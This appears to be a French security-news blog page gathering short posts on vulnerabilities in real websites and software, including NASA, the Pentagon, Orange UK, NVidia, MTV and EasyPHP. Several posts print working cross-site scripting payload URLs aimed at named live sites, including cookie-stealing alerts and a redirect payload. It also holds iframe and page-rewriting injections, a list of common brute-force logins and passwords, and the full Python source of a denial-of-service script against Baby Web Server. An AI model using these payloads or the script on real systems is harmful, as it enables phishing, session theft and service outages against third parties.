Faille sur la dernière version d'EasyPHP

2 petites vulnérabilités présentes dans la partie d'administration de EasyPHP (testé sur la dernière version 5.3.6.1) :

- une faille include présente dans le fichier \home\i18n.inc.php
-une XSS permanente sur la page d'admin (home)

En savoir plus

Le nouveau site de Rachida Dati vulnérable

Il est tout beau tout neuf le site du député européen. Intro en flash très bling-bling, de jolis articles,...tout ça propulsé par wordpress.

Quelques heures à peine après l'annonce de la sortie du site, on trouve sur twitter l'adresse de la page de login pour accéder à l'interface d'administration : http://www.rachida-dati.eu/wp-login.php

Mais ce n'est pas ça le plus grave. Même si des script permettent de brute-forcer des logins web, theSnailSnapper a trouvé une vulnérabilité XSS sur le site. Il a publié une capture d'écran de sa découverte sur Twitter également :



Rappelons que les failles XSS ne sont pas "de simples pop-up", mais permettent de voler des cookies de connexion, injecter des scripts par iframe, diffuser des malware via redirection d'URL...

Le 17 mars dernier, le même pirate avait réussi à accéder à la base de donnée de désir d'avenir, le site de Ségolène Royal. En janvier il avait découvert une faille sur un site de l'UMP. Spécialisé dans le piratage de site politique français?

Vulnérabilité découverte pour 3 navigateurs internet

Il y a quelques jours, 599eme Man a découvert une vulnérabilité chez Safari, Seamonkey et Firefox. La faille utilisé est une corruption de la mémoire entrainant un dénis de service. Le code javascript peut être intégré à n'importe quelle page web. Donc utilisateurs de Safari v4.0.4, Firefox v3.5.6 et SeaMonkey v2.0.1, attention aux sites que vous visitez!

Lien de l'exploit : exploit-db

Une vulnérabilité XSS menace les utilisateurs d'Orange

Décidément, les opérateurs télécom ne sont pas tous de bon élève en sécurité Web. Après la vulnérabilité trouvé chez SFR par theSnailSnapper, c'est TinKode qui dévoile un Proof Of Concept sur le site orange.co.uk .

Grâce à une injection de code dans l'URL, TinKode prouve qu'il est possible de voler les cookies d'authentification d'utilisateur. Cette vulnérabilité est d'autant plus sérieuse qu'elle est présente sur une page de demande de mot de passe.

Ensuite le pirate roumain montre qu'il est capable de piéger l'URL avec un faux logiciel. Ainsi un utilisateur suivant le lien (au travers d'un vague de phishing par exemple) se verra proposer de télécharger un logiciel. Cela pourrait très bien être un Stealer, un logiciel qui s'installe sur votre ordinateur, vol tous les mot de passe Firefox, IE, Steam, MSN, ... et les envoie par mail ou par ftp sur un serveur distant.
Ici un PoC avec Winamp :

Comment trouver les vulnérabilités de la NASA?

__   __ _____ _____   _   _           _____
\ \ / // ____/ ____| | \ | |   /\    / ____|  /\
\ V /| (___| (___   |  \| |  /  \  | (___   /  \
 > <  \___ \\___ \  | . ` | / /\ \  \___ \ / /\ \
/ . \ ____) |___) | | |\  |/ ____ \ ____) / ____ \
/_/ \_\_____/_____/  |_| \_/_/    \_\_____/_/    \_\

#How to find XSS in NASA?

Non le titre n'est pas racoleur! Une simple recherche google permet de trouver des vulnérabilités XSS sur les sites de la NASA. Comment? Avec cette simple recherche : inurl:”tinkode” (et oui, encore lui!)

Cliquez sur le lien (ou en accès direct ici) et vous obtiendrez une jolie boite d'avertissement. Et oui ... google référence les vulnérabilités XSS. Étonnant non?

Ici une autre liste de page de la NASA vulnérables :

1. http://uavsar.jpl.nasa.gov/cgi-bin/data.pl?itext=1%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

2. http://hitf.jsc.nasa.gov/hitfpub/redirect.cfm?location=1%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

3. http://sbir.gsfc.nasa.gov/sbirweb/search/searchResults.jsp?st=%22%3E%3Cscript%3Ealert(/c0de.breaker/)%3C/script%3E

4. http://nmp.jpl.nasa.gov/ds2/search/search.pl?Range=All&Format=Standard&Terms=1%3Cscript%3Ealert(document.cookie)%3C/script%3E

5. http://pims.grc.nasa.gov/calendars/qs_roadmap_index.php?year=”>alert(/c0de.breaker/)

6. http://starbeam.jpl.nasa.gov/tools/text-search/results.jsp?query=alert(document.cookie)

On joue à la chasse au trésor?

Le site du Pentagone vulnérable aux XSS!

Le pentagone, tout le monde connait ce bâtiment mythique abritant le quartier général du département de la Défense des États-Unis. Symbolique de la puissance américaine, le pentagone laisse pourtant quelques portes ouvertes sur son site internet.

Une vulnérabilité XSS toute bête, présente dans la page /tours.

Injections d'iframes également possibles :




Cette vulnérabilité peut sembler anodine, mais elle peut s'avérer désastreuse lors du campagne de phishing.

Imaginez qu'un citoyen américain reçoivent un mail demandant de cliquer sur http://pentagon.afis.osd.mil/. Pas trop bête, il regarde vers quoi redirige ce lien : http://pentagon.afis.osd.mil/tours?action=viewLargePhoto&title=1>"%0A%22%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6C%61%63%65%28%22%68%74%74%70%3A%2F%2F%6E%65%77%73%2D%6F%66%2D%73%65%63%75%72%69%74%79%2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%2F%22%29%3B%3C%2F%73%63%72%69%70%74%3E
C'est bien le site officiel du pentagone, je clique ... et je suis dirigé quasi instantanément vers un autre site. Ici cela redirige vers news-of-security, donc cela se voit. Mais imaginez un phisher qui aurait copié pixel pour pixel le vrai site du pentagone ....

MTV vulnérable aux injections SQL et XSS

Les sites de MTV-Philippines et MTV-Inde dévoilent leurs secrets sous les salves d'injections SQL.

MTV-Philippines :

MTV-Inde :

Bonus : le site mtv.com est quant à lui vulnérable aux XSS

Les login/password les plus utilisés

Connaitre les nom d'utilisateur et les mots de passes les plus couramment utilisés sur un système d'information est un outils très utile pour qui voudra s'y introduire.

Les mots de passes god, money, power, love entrèrent, il y a une bonne trentaine d'années maintenant dans la légende. Aujourd'hui nous croyons nous plus malin?

L'étude a été réalisé par trois chercheurs de chez Microsoft : Francis Allan, Tan Seng et Andrei Saygo. Ils ont fait tourner un honeypot durant près d'un an, et on regardé ce qui en sortait. Entre autre, les mots de passes et login les plus utilisés par les pirates pour leurs opérations de brute force. Et si c'est testé par les hackers, c'est que c'est utilisé par les admins.



Liste des nom d'utilisateurs:

Administrator
Administrateur
admin
andrew
dave
steve
tsinternetuser
tsinternetusers
paul
adam

Liste des mots de passe:

password
123456
#!comment:
changeme
F**kyou (sans les astérisques bien entendu)
abc123
peter
Michael
andrew
matthew

Un mot de passe fort, ça dit quelque chose à quelqu'un?

NVidia.com vulnérable aux XSS

Après nos amis roumains, voici le tour des argentins!

Le site argentin de NVidia a une faille de type XSS sur un de ses pages : NVidia's Widget.


La page /content/widgets/widget_home.asp permet d'injection du code au travers du choix de la langue ?lang=la. Il suffit dans ce cas-ci de remplacer 'la' par un petit script et voila!

J'ai été un peu mauvaise langue en parlant uniquement des argentins, car les versions du site chinoise, mexicaine, brésilienne, japonaise, colombienne, chilienne sont également faillite. En cause toujours cette page "Widget".

Vulnérabilité XSS pour l'agence roulaine du développement régional

Dans le post précédent sur le piratage de la police roumaine, je concluais par "à qui le tour?". Cette fois ci c'est à l'agence pour le développement de la région Nord-Est de Roumanie de passer à la casserole.

Une faille XSS toute bête présente dans la barre de recherche, qui permet de faire un peu tout ce que l'on veut (alerte, iframe, ...) :


Egalement possible une injection iframe ("><iframe src="http://news-of-security.blogspot.com"></iframe>) ou des actions sur le code HTML même de la page (">document.body.inner.HTML="<<style>body{visibility:hidden; background: black;}<</style><<div style="visibility:visible;><<br><<h1><<font color="red">Salut les Zouzous<</h1><</font><<br>)

Du classique, du simple, mais qui peut très vite amener à des actions de phishing (entre autre) sur le partenaire de l'agence.

Faille DOS dans Baby Web Server (0 day)

Baby Web Server a été créé dans le but de concurrencer l'IIS de Microsoft. Une faille 0 day circule actuellement; permmettant de réaliser un Déni de Service.

#Baby Web Server 2.7.2 Vulnerbility found Denial of Service(0day)
#
#!/usr/bin/env python
#Author:Asheesh Kumar Mani Tripathi
#Created:Asheesh Kumar Mani Tripathi
import socket

print "************************************************* ***"
print "Baby Web Server 2.7.2 Vulnerbility found Denial of Service"
print "Change IP to Victim Server s.connect((127.0.0.1,80))"
print "Author: Asheesh Kumar Mani Tripathi"
print "Reason for DOS attack The Problem lies server"
print "unable to handle so much of requests "
print "************************************************* ****"

host = "127.0.0.1"
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
conn = s.connect(("127.0.0.1",80))
for i in range (1,1100):
request = "GET /some.txt HTTP/1.1 \n\n"
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((host, port))
connection.send(request)
print i
except:
print "Oh! Some Problem Occured Check Server is Running or Not"

Lien de téléchargement : packetstormsecurity.org

En savoir plus sur l'auteur : Asheesh Kumar Mani Tripathi (Indian Institute of Information Technology)

Vulnérabilité Flash : un vecteur d'attaque dévastateur

Une faille de sécurité non patchée impliquant Adobe Flash permet à une personne malveillante de charger des Exploits dans des sites (via un mail par exemple).

C'est le groupe de chercheur Foreground qui est à la base de cette découverte. Ils ont prévenu Adobe de la vulnérabilité, mais également Google, dont la plupart des applications sont vulnérables (Gmail par exemple).

Pour prouver leurs dires, les chercheurs ont réalisé une vidéo Proof Of Concept de l'exploitation de la faille sur Gmail (désormais comblée). La vidéo est visible sur Youtube :



Cette menace est loin de se limiter à Flash, et peut aussi englober d'autres formes de contenu actif tel Javascript ou Silverlight. Tous les sites avec de tels langages dans leurs pages sont potentiellement vulnérables, donc tous les internautes sont des cibles potentielles!